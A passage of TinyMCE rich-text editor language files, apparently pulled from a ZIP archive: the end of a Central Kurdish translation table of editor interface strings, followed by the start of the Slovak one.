"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0644\u06a9\u0627\u0646\u062f\u0646 \u0626\u06ce\u0633\u062a\u0627 \u0644\u06d5 \u0628\u0627\u0631\u06cc \u062f\u06d5\u0642\u06cc \u0633\u0627\u062f\u06d5\u06cc\u06d5. \u0646\u0627\u0648\u06d5\u0695\u06c6\u06a9\u06d5\u06a9\u0627\u0646 \u062f\u06d5\u0644\u06a9\u06ce\u0646 \u0648\u06d5\u06a9 \u062f\u06d5\u0642\u06cc \u0633\u0627\u062f\u06d5 \u0647\u06d5\u062a\u0627 \u0626\u06d5\u0645 \u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u06d5 \u0646\u0627\u06a9\u0627\u0631\u0627 \u062f\u06d5\u06a9\u06d5\u06cc\u062a.",
"Font Family": "\u062c\u06c6\u0631\u06cc \u0641\u06c6\u0646\u062a",
"Font Sizes": "\u0642\u06d5\u0628\u0627\u0631\u06d5\u06cc \u0641\u06c6\u0646\u062a",
"Class": "\u06a9\u0644\u0627\u0633",
"Browse for an image": "\u0648\u06ce\u0646\u06d5 \u062f\u06cc\u0627\u0631\u06cc\u0628\u06a9\u06d5",
"OR": "\u06cc\u0627\u0646",
"Drop an image here": "\u0648\u06ce\u0646\u06d5 \u0628\u062e\u06d5 \u0633\u06d5\u0631\u0626\u06ce\u0631\u06d5",
"Upload": "\u0628\u0627\u0631\u06a9\u0631\u062f\u0646",
"Block": "\u0628\u0644\u06c6\u06a9",
"Align": "\u0626\u0627\u0695\u0627\u0633\u062a\u06d5",
"Default": "\u0628\u0646\u06d5\u0695\u06d5\u062a\u06cc",
"Circle": "\u0628\u0627\u0632\u0646\u06d5",
"Disc": "\u067e\u06d5\u067e\u06a9\u06d5",
"Square": "\u0686\u0648\u0627\u0631\u06af\u06c6\u0634\u06d5",
"Lower Alpha": "\u0626\u06d5\u0644\u0641\u0627\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Lower Greek": "\u06cc\u06c6\u0646\u0627\u0646\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Lower Roman": "\u0695\u06c6\u0645\u0627\u0646\u06cc \u0628\u0686\u0648\u0648\u06a9",
"Upper Alpha": "\u0626\u06d5\u0644\u0641\u0627\u06cc \u06af\u06d5\u0648\u0631\u06d5",
"Upper Roman": "\u0695\u06c6\u0645\u0627\u0646\u06cc \u06af\u06d5\u0648\u0631\u06d5",
"Anchor": "\u0644\u06d5\u0646\u06af\u06d5\u0631",
"Name": "\u0646\u0627\u0648",
"Id": "\u0646\u0627\u0633\u0646\u0627\u0645\u06d5",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0646\u0627\u0633\u0646\u0627\u0645\u06d5 \u067e\u06ce\u0648\u06cc\u0633\u062a\u06d5 \u0628\u06d5 \u0646\u0648\u0633\u06cc\u0646 \u062f\u06d5\u0633\u062a \u067e\u06ce \u0628\u06a9\u0627\u062a\u060c \u06a9\u06d5 \u062a\u06d5\u0646\u0647\u0627 \u0646\u0648\u0633\u06cc\u0646\u060c \u0698\u0645\u0627\u0631\u06d5\u06a9\u0627\u0646\u060c \u062f\u0627\u0634\u060c \u0646\u0648\u06a9\u062a\u06d5\u060c \u06a9\u06c6\u06b5\u06c6\u0646\u06d5\u06a9\u0627\u0646 \u0648 \u0628\u0646\u0647\u06ce\u06b5\u06d5\u06a9\u0627\u0646 \u0695\u06ce\u06af\u06d5\u067e\u06ce\u062f\u0631\u0627\u0648\u0646.",
"You have unsaved changes are you sure you want to navigate away?": "\u062a\u06c6 \u06af\u06c6\u0695\u0627\u0646\u06a9\u0627\u0631\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u062a \u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a \u0646\u06d5\u06a9\u0631\u062f\u0648\u0648\u06d5\u060c \u0626\u0627\u06cc\u0627 \u062f\u06b5\u0646\u06cc\u0627\u06cc\u062a \u0644\u06d5 \u062f\u06d5\u0631\u0686\u0648\u0648\u0646\u062a\u061f",
"Restore last draft": "\u06af\u06d5\u0695\u0627\u0646\u062f\u0646\u06d5\u0648\u06d5\u06cc \u062f\u0648\u0627\u06cc\u06cc\u0646 \u0695\u06d5\u0634\u0646\u0648\u0648\u0633",
"Special character": "\u0646\u0648\u0648\u0633\u06d5\u06cc \u062a\u0627\u06cc\u0628\u06d5\u062a",
"Source code": "\u06a9\u06c6\u062f\u06cc \u0633\u06d5\u0631\u0686\u0627\u0648\u06d5",
"Insert\/Edit code sample": "\u0632\u06cc\u0627\u062f\u06a9\u0631\u062f\u0646 \u0648 \u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc\u06a9\u0631\u062f\u0646\u06cc \u0646\u0645\u0648\u0648\u0646\u06d5\u06cc \u06a9\u06c6\u062f",
"Language": "\u0632\u0645\u0627\u0646",
"Code sample": "\u0646\u0645\u0648\u0648\u0646\u06d5\u06cc \u06a9\u06c6\u062f",
"Color": "\u0695\u06d5\u0646\u06af",
"R": "\u0633\u0648\u0631",
"G": "\u0633\u06d5\u0648\u0632",
"B": "\u0634\u06cc\u0646",
"Left to right": "\u0686\u06d5\u067e \u0628\u06c6 \u0695\u0627\u0633\u062a",
"Right to left": "\u0695\u0627\u0633\u062a \u0628\u06c6 \u0686\u06d5\u067e",
"Emoticons": "\u0648\u06ce\u0646\u06c6\u0686\u06a9\u06d5\u06a9\u0627\u0646\u06cc \u0647\u06d5\u0633\u062a",
"Document properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u0628\u06d5\u06b5\u06af\u06d5\u0646\u0627\u0645\u06d5",
"Title": "\u0646\u0627\u0648\u0646\u06cc\u0634\u0627\u0646",
"Keywords": "\u06a9\u0644\u06cc\u0644\u0647\u200c\u0648\u0634\u0647\u200c\u06a9\u0627\u0646",
"Description": "\u0628\u0627\u0633\u06a9\u0631\u062f\u0646",
"Robots": "\u0695\u06c6\u0628\u06c6\u062a\u06d5\u06a9\u0627\u0646",
"Author": "\u0646\u0648\u0648\u0633\u06d5\u0631",
"Encoding": "\u0628\u06d5\u06a9\u06c6\u062f\u06a9\u0631\u062f\u0646",
"Fullscreen": "\u0695\u0648\u0648\u067e\u0695\u06cc",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "\u0647\u06ce\u06b5\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"Insert\/edit image": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u0648\u06ce\u0646\u06d5",
"Image description": "\u0628\u0627\u0633\u06a9\u0631\u062f\u0646\u06cc \u0648\u06ce\u0646\u06d5",
"Source": "\u0633\u06d5\u0631\u0686\u0627\u0648\u06d5",
"Dimensions": "\u062f\u0648\u0648\u0631\u06cc\u06cc\u06d5\u06a9\u0627\u0646",
"Constrain proportions": "\u0695\u06d5\u0647\u06d5\u0646\u062f\u06cc \u0645\u06d5\u0631\u062c\u06d5\u06a9\u0627\u0646",
"General": "\u06af\u0634\u062a\u06cc",
"Advanced": "\u067e\u06ce\u0634\u06a9\u06d5\u0648\u062a\u0648\u0648",
"Style": "\u0634\u06ce\u0648\u0627\u0632",
"Vertical space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0633\u062a\u0648\u0648\u0646\u06cc",
"Horizontal space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"Border": "\u0633\u0646\u0648\u0648\u0631",
"Insert image": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0648\u06ce\u0646\u06d5",
"Image": "\u0648\u06ce\u0646\u06d5",
"Image list": "\u0644\u06cc\u0633\u062a\u06cc \u0648\u06ce\u0646\u06d5",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06c6\u0698\/\u06a9\u0627\u062a",
"Date\/time": "Date\/time",
"Insert link": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Insert\/edit link": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Text to display": "\u062f\u06d5\u0642 \u0628\u06c6 \u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646",
"Url": "\u0628\u06d5\u0633\u062a\u06d5\u0631",
"Target": "\u0626\u0627\u0645\u0627\u0646\u062c",
"None": "\u0647\u06cc\u0686",
"New window": "\u067e\u06d5\u0646\u062c\u06d5\u0631\u06d5\u06cc \u0646\u0648\u06ce",
"Remove link": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0628\u06d5\u0633\u062a\u06d5\u0631",
"Anchors": "\u0644\u06d5\u0646\u06af\u06d5\u0631\u06d5\u06a9\u0627\u0646",
"Link": "Link",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0626\u06d5\u0648 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06d5\u06cc \u0646\u0648\u0648\u0633\u06cc\u0648\u062a\u06d5 \u0628\u06d5 \u067e\u06d5\u06cc\u0627\u0645\u06cc \u0626\u06d5\u0644\u06cc\u06a9\u062a\u0695\u06c6\u0646\u06cc \u062f\u06d5\u0686\u06ce\u062a. \u0626\u0627\u06cc\u0627 \u062f\u06d5\u062a\u06d5\u0648\u06ce\u062a mailto: prefix \u06cc \u0628\u06c6 \u0632\u06cc\u0627\u062f \u0628\u06a9\u06d5\u06cc\u062a\u061f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0626\u06d5\u0648 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06d5\u06cc \u0646\u0648\u0648\u0633\u06cc\u0648\u062a\u06d5 \u0628\u06d5 \u0628\u06d5\u0633\u062a\u06d5\u0631\u06cc \u062f\u06d5\u0631\u06d5\u06a9\u06cc \u062f\u06d5\u0686\u06ce\u062a. \u0626\u0627\u06cc\u0627 \u062f\u06d5\u062a\u06d5\u0648\u06ce\u062a http:\/\/ prefix \u06cc \u0628\u06c6 \u0632\u06cc\u0627\u062f \u0628\u06a9\u06d5\u06cc\u062a\u061f",
"Link list": "Link list",
"Insert video": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u06a4\u06cc\u062f\u06cc\u06c6",
"Insert\/edit video": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc \u06a4\u06cc\u062f\u06cc\u06c6",
"Insert\/edit media": "\u0647\u06ce\u0627\u0646\u06d5\u0646\u0627\u0648\/\u062f\u06d5\u0633\u06a9\u0627\u0631\u06cc \u0645\u06cc\u062f\u06cc\u0627",
"Alternative source": "\u0633\u06d5\u0631\u0686\u0627\u0648\u06d5\u06cc \u062c\u06ce\u06af\u0631\u06d5\u0648\u06d5",
"Poster": "\u067e\u06c6\u0633\u062a\u06d5\u0631",
"Paste your embed code below:": "\u06a9\u06c6\u062f\u06cc \u062a\u06ce\u062e\u0633\u062a\u0646\u06d5\u06a9\u06d5\u062a \u0644\u06d5\u062e\u0648\u0627\u0631\u06d5\u0648\u06d5 \u0628\u0644\u06a9\u06ce\u0646\u06d5:",
"Embed": "\u062a\u06ce\u062e\u0633\u062a\u0646",
"Media": "\u0645\u06cc\u062f\u06cc\u0627",
"Nonbreaking space": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u0646\u06d5\u0628\u0695\u0627\u0648",
"Page break": "\u0628\u0695\u06cc\u0646\u06cc \u067e\u06d5\u0695\u06d5",
"Paste as text": "\u0644\u06a9\u0627\u0646\u062f\u0646 \u0648\u06d5\u06a9 \u062f\u06d5\u0642",
"Preview": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646",
"Print": "\u0686\u0627\u067e\u06a9\u0631\u062f\u0646",
"Save": "\u067e\u0627\u0634\u06d5\u06a9\u06d5\u0648\u062a",
"Find": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5",
"Replace with": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646 \u0644\u06d5\u06af\u06d5\u06b5",
"Replace": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646",
"Replace all": "\u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"Prev": "\u067e\u06ce\u0634\u0648\u0648",
"Next": "\u062f\u0648\u0627\u062a\u0631",
"Find and replace": "\u062f\u06c6\u0632\u06cc\u0646\u06d5\u0648\u06d5 \u0648 \u062c\u06ce\u06af\u06c6\u0695\u06cc\u0646",
"Could not find the specified string.": "\u0695\u06cc\u0632\u0628\u06d5\u0646\u062f\u06cc \u062f\u06cc\u0627\u0631\u06cc\u06a9\u0631\u0627\u0648 \u0646\u0627\u062f\u06c6\u0632\u0631\u06ce\u062a\u06d5\u0648\u06d5.",
"Match case": "\u0647\u0627\u0648\u062a\u0627\u0628\u0648\u0648\u0646\u06cc \u0628\u0627\u0631",
"Whole words": "\u0647\u06d5\u0645\u0648\u0648 \u0648\u0634\u06d5\u06a9\u0627\u0646",
"Spellcheck": "\u067e\u0634\u06a9\u0646\u06cc\u0646\u06cc \u0695\u06ce\u0646\u0648\u0648\u0633",
"Ignore": "\u0644\u06d5\u0628\u06cc\u0631\u06a9\u0631\u062f\u0646",
"Ignore all": "\u0644\u06d5\u0628\u06cc\u0631\u06a9\u0631\u062f\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"Finish": "\u062a\u06d5\u0648\u0627\u0648",
"Add to Dictionary": "\u0632\u06cc\u0627\u062f\u06a9\u0631\u062f\u0646 \u0628\u06c6 \u0641\u06d5\u0631\u0647\u06d5\u0646\u06af",
"Insert table": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u062e\u0634\u062a\u06d5",
"Table properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u062e\u0634\u062a\u06d5",
"Delete table": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u062e\u0634\u062a\u06d5",
"Cell": "\u062e\u0627\u0646\u06d5",
"Row": "\u0695\u06cc\u0632",
"Column": "\u0633\u062a\u0648\u0648\u0646",
"Cell properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u062e\u0627\u0646\u06d5",
"Merge cells": "\u06cc\u06d5\u06a9\u062e\u0633\u062a\u0646\u06cc \u062e\u0627\u0646\u06d5\u06a9\u0627\u0646",
"Split cell": "\u062c\u06cc\u0627\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u062e\u0627\u0646\u06d5",
"Insert row before": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06cc\u0632 \u0628\u06c6 \u067e\u06ce\u0634\u062a\u0631",
"Insert row after": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0695\u06cc\u0632 \u0628\u06c6 \u062f\u0648\u0627\u062a\u0631",
"Delete row": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0695\u06cc\u0632",
"Row properties": "\u062a\u0627\u06cc\u0628\u0647\u200c\u062a\u0645\u0647\u200c\u0646\u062f\u06cc\u06cc\u06d5\u06a9\u0627\u0646\u06cc \u0695\u06cc\u0632",
"Cut row": "\u0628\u0695\u06cc\u0646\u06cc \u0695\u06cc\u0632",
"Copy row": "\u0644\u06d5\u0628\u06d5\u0631\u06af\u0631\u062a\u0646\u06d5\u0648\u06d5\u06cc \u0695\u06cc\u0632",
"Paste row before": "\u0644\u06a9\u0627\u0646\u062f\u0646\u06cc \u0695\u06cc\u0632 \u0644\u06d5 \u067e\u06ce\u0634\u062a\u0631",
"Paste row after": "\u0644\u06a9\u0627\u0646\u062f\u0646\u06cc \u0695\u06cc\u0632 \u0644\u06d5 \u062f\u0648\u0627\u062a\u0631",
"Insert column before": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0633\u062a\u0648\u0648\u0646 \u0628\u06c6 \u067e\u06ce\u0634\u062a\u0631",
"Insert column after": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u0633\u062a\u0648\u0648\u0646 \u0628\u06c6 \u062f\u0648\u0627\u062a\u0631",
"Delete column": "\u0633\u0695\u06cc\u0646\u06d5\u0648\u06d5\u06cc \u0633\u062a\u0648\u0648\u0646",
"Cols": "\u0633\u062a\u0648\u0648\u0646\u06d5\u06a9\u0627\u0646",
"Rows": "\u0695\u06cc\u0632\u06d5\u06a9\u0627\u0646",
"Width": "\u062f\u0631\u06ce\u0698\u06cc",
"Height": "\u0628\u06d5\u0631\u0632\u06cc",
"Cell spacing": "\u0628\u06c6\u0634\u0627\u06cc\u06cc \u062e\u0627\u0646\u06d5",
"Cell padding": "\u0646\u0627\u0648\u067e\u06c6\u0634\u06cc \u062e\u0627\u0646\u06d5",
"Caption": "\u0633\u06d5\u0631\u062f\u06ce\u0695",
"Left": "\u0686\u06d5\u067e",
"Center": "\u0646\u0627\u0648\u06d5\u0695\u0627\u0633\u062a",
"Right": "\u0695\u0627\u0633\u062a",
"Cell type": "\u062c\u06c6\u0631\u06cc \u062e\u0627\u0646\u06d5",
"Scope": "\u0628\u0648\u0627\u0631",
"Alignment": "\u0644\u0627\u06af\u0631\u062a\u0646",
"H Align": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0626\u0627\u0633\u06c6\u06cc\u06cc",
"V Align": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0633\u062a\u0648\u0648\u0646\u06cc",
"Top": "\u0633\u06d5\u0631\u06d5\u0648\u06d5",
"Middle": "\u0646\u0627\u0648\u06d5\u0646\u062f",
"Bottom": "\u0698\u06ce\u0631\u06d5\u0648\u06d5",
"Header cell": "\u062e\u0627\u0646\u06d5\u06cc \u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5",
"Row group": "\u06a9\u06c6\u0645\u06d5\u06b5\u06d5 \u0695\u06cc\u0632",
"Column group": "\u06a9\u06c6\u0645\u06d5\u06b5\u06d5 \u0633\u062a\u0648\u0648\u0646",
"Row type": "\u062c\u06c6\u0631\u06cc \u0695\u06cc\u0632",
"Header": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5",
"Body": "\u0646\u0627\u0648\u06d5\u0695\u06c6\u06a9",
"Footer": "\u067e\u06ce\u067e\u06d5\u0695\u06d5",
"Border color": "\u0695\u06d5\u0646\u06af\u06cc \u0633\u0646\u0648\u0648\u0631",
"Insert template": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648\u06cc \u062f\u0627\u0695\u06ce\u0698\u06d5",
"Templates": "\u062f\u0627\u0695\u06ce\u0698\u06d5\u06a9\u0627\u0646",
"Template": "Template",
"Text color": "\u0695\u06d5\u0646\u06af\u06cc \u062f\u06d5\u0642",
"Background color": "\u0695\u06d5\u0646\u06af\u06cc \u067e\u0627\u0634\u0628\u0646\u06d5\u0645\u0627",
"Custom...": "\u062f\u0627\u0646\u0631\u0627\u0648...",
"Custom color": "\u0695\u06d5\u0646\u06af\u06cc \u062f\u0627\u0646\u0631\u0627\u0648",
"No color": "\u0628\u06d5\u0628\u06ce \u0695\u06d5\u0646\u06af",
"Table of Contents": "Table of Contents",
"Show blocks": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646\u06cc \u0628\u0644\u06c6\u06a9\u06d5\u06a9\u0627\u0646",
"Show invisible characters": "\u067e\u06cc\u0634\u0627\u0646\u062f\u0627\u0646\u06cc \u0646\u0648\u0648\u0633\u06d5 \u0634\u0627\u0631\u0627\u0648\u06d5\u06a9\u0627\u0646",
"Words: {0}": "\u0648\u0634\u06d5\u06a9\u0627\u0646: {0}",
"{0} words": "{0} words",
"File": "\u067e\u06d5\u0695\u06af\u06d5",
"Edit": "\u062f\u06d5\u0633\u062a\u06a9\u0627\u0631\u06cc",
"Insert": "\u062e\u0633\u062a\u0646\u06d5\u0646\u0627\u0648",
"View": "\u0628\u06cc\u0646\u06cc\u0646",
"Format": "\u0634\u06ce\u0648\u0627\u0632",
"Table": "\u062e\u0634\u062a\u06d5",
"Tools": "\u0626\u0627\u0645\u0631\u0627\u0632\u06d5\u06a9\u0627\u0646",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0646\u0627\u0648\u0686\u06d5\u06cc \u062f\u06d5\u0642\u06cc \u062a\u06d5\u0648\u0627\u0648. ALT-F9 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u0644\u06cc\u0633\u062a\u06d5. ALT-F10 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u062a\u0648\u0648\u06b5\u0627\u0645\u0631\u0627\u0632. ALT-0 \u062f\u0627\u06af\u0631\u06d5 \u0628\u06c6 \u06cc\u0627\u0631\u0645\u06d5\u062a\u06cc"
});PK
h�\�J�d�C�Cprogram/js/tinymce/langs/sk.jsnu�[���tinymce.addI18n('sk',{
"Redo": "Znova",
"Undo": "Sp\u00e4\u0165",
"Cut": "Vystrihn\u00fa\u0165",
"Copy": "Kop\u00edrova\u0165",
"Paste": "Prilepi\u0165",
"Select all": "Ozna\u010di\u0165 v\u0161etko",
"New document": "Nov\u00fd dokument",
"Ok": "Ok",
"Cancel": "Zru\u0161i\u0165",
"Visual aids": "Vizu\u00e1lne pom\u00f4cky",
"Bold": "Tu\u010dn\u00e9",
"Italic": "Kurz\u00edva",
"Underline": "Pod\u010diarknut\u00e9",
"Strikethrough": "Pre\u010diarknut\u00e9",
"Superscript": "Horn\u00fd index",
"Subscript": "Doln\u00fd index",
"Clear formatting": "Vymaza\u0165 form\u00e1tovanie",
"Align left": "Zarovna\u0165 v\u013eavo",
"Align center": "Zarovna\u0165 na stred",
"Align right": "Zarovna\u0165 vpravo",
"Justify": "Zarovna\u0165",
"Bullet list": "Zoznam s odr\u00e1\u017ekami",
"Numbered list": "\u010c\u00edslovan\u00fd zoznam",
"Decrease indent": "Zmen\u0161i\u0165 odsadenie",
"Increase indent": "Zv\u00e4\u010d\u0161i\u0165 odsadenie",
"Close": "Zatvori\u0165",
"Formats": "Form\u00e1ty",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "V\u00e1\u0161 prehliada\u010d nepodporuje priamy pr\u00edstup do schr\u00e1nky. Pou\u017eite kl\u00e1vesov\u00e9 skratky Ctrl+X\/C\/V.",
"Headers": "Z\u00e1hlavia",
"Header 1": "Z\u00e1hlavie 1",
"Header 2": "Z\u00e1hlavie 2",
"Header 3": "Z\u00e1hlavie 3",
"Header 4": "Z\u00e1hlavie 4",
"Header 5": "Z\u00e1hlavie 5",
"Header 6": "Z\u00e1hlavie 6",
"Headings": "Nadpisy",
"Heading 1": "Nadpis 1",
"Heading 2": "Nadpis 2",
"Heading 3": "Nadpis 3",
"Heading 4": "Nadpis 4",
"Heading 5": "Nadpis 5",
"Heading 6": "Nadpis 6",
"Preformatted": "Predform\u00e1tovan\u00e9",
"Div": "Div",
"Pre": "Pre",
"Code": "K\u00f3d",
"Paragraph": "Odstavec",
"Blockquote": "Blockquote",
"Inline": "Vlo\u017een\u00e9 \u0161t\u00fdly",
"Blocks": "Bloky",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Vkladanie je v m\u00f3de neform\u00e1tovan\u00e9ho textu. Vkladan\u00fd obsah bude vlo\u017een\u00fd ako neform\u00e1tovan\u00fd, a\u017e pok\u00fdm t\u00fato mo\u017enos\u0165 nevypnete.",
"Fonts": "Typy p\u00edsma",
"Font Sizes": "Ve\u013ekosti p\u00edsma",
"Class": "Trieda",
"Browse for an image": "N\u00e1js\u0165 obr\u00e1zok",
"OR": "ALEBO",
"Drop an image here": "Pretiahnite obr\u00e1zok sem",
"Upload": "Nahra\u0165",
"Block": "Blok",
"Align": "Zarovna\u0165",
"Default": "V\u00fdchodzie",
"Circle": "Kruh",
"Disc": "Disk",
"Square": "\u0160tvorec",
"Lower Alpha": "Mal\u00e9 p\u00edsmen\u00e1",
"Lower Greek": "Mal\u00e9 gr\u00e9cke p\u00edsmen\u00e1",
"Lower Roman": "Mal\u00e9 r\u00edmske \u010d\u00edslice",
"Upper Alpha": "Ve\u013ek\u00e9 p\u00edsmen\u00e1",
"Upper Roman": "Ve\u013ek\u00e9 r\u00edmske \u010d\u00edslice",
"Anchor...": "Kotva...",
"Name": "N\u00e1zov",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id by malo za\u010d\u00edna\u0165 p\u00edsmenom, nasledovan\u00e9 p\u00edsmenami, \u010d\u00edslami, pom\u013a\u010dkami, bodkami, dvojbodkami alebo podtr\u017en\u00edkmi.",
"You have unsaved changes are you sure you want to navigate away?": "M\u00e1te neulo\u017een\u00e9 zmeny, naozaj chcete opusti\u0165 str\u00e1nku?",
"Restore last draft": "Obnovi\u0165 posledn\u00fd koncept",
"Special character...": "\u0160peci\u00e1lny znak...",
"Source code": "Zdrojov\u00fd k\u00f3d",
"Insert\/Edit code sample": "Vlo\u017ei\u0165\/upravi\u0165 vzorku k\u00f3du",
"Language": "Jazyk",
"Code sample...": "Vzorka k\u00f3du...",
"Color Picker": "V\u00fdber farieb",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Z\u013eava doprava",
"Right to left": "Sprava do\u013eava",
"Emoticons...": "Smajl\u00edky...",
"Metadata and Document Properties": "Meta\u00fadaje a vlastnosti dokumentu",
"Title": "Nadpis",
"Keywords": "K\u013e\u00fa\u010dov\u00e9 slov\u00e1",
"Description": "Popis",
"Robots": "Preh\u013ead\u00e1vacie roboty",
"Author": "Autor",
"Encoding": "K\u00f3dovanie",
"Fullscreen": "Na cel\u00fa obrazovku",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Pluginy",
"Handy Shortcuts": "U\u017eito\u010dn\u00e9 odkazy",
"Horizontal line": "Horizont\u00e1lna \u010diara",
"Insert\/edit image": "Vlo\u017ei\u0165\/upravi\u0165 obr\u00e1zok",
"Image description": "Popis obr\u00e1zku",
"Source": "Zdroj",
"Dimensions": "Rozmery",
"Constrain proportions": "Vymedzen\u00e9 proporcie",
"General": "Hlavn\u00e9",
"Advanced": "Pokro\u010dil\u00e9",
"Style": "\u0160t\u00fdl",
"Vertical space": "Vertik\u00e1lny priestor",
"Horizontal space": "Horizont\u00e1lny priestor",
"Border": "Or\u00e1movanie",
"Insert image": "Vlo\u017ei\u0165 obr\u00e1zok",
"Image...": "Obr\u00e1zok...",
"Image list": "Zoznam obr\u00e1zkov",
"Rotate counterclockwise": "Oto\u010di\u0165 proti smeru hodinov\u00fdch ru\u010di\u010diek",
"Rotate clockwise": "Oto\u010di\u0165 v smere hodinov\u00fdch ru\u010di\u010diek",
"Flip vertically": "Preklopi\u0165 vertik\u00e1lne",
"Flip horizontally": "Preklopi\u0165 horizont\u00e1lne",
"Edit image": "Upravi\u0165 obr\u00e1zok",
"Image options": "Mo\u017enosti obr\u00e1zku",
"Zoom in": "Pribl\u00ed\u017ei\u0165",
"Zoom out": "Oddiali\u0165",
"Crop": "Vyreza\u0165",
"Resize": "Zmeni\u0165 ve\u013ekos\u0165",
"Orientation": "Orient\u00e1cia",
"Brightness": "Jas",
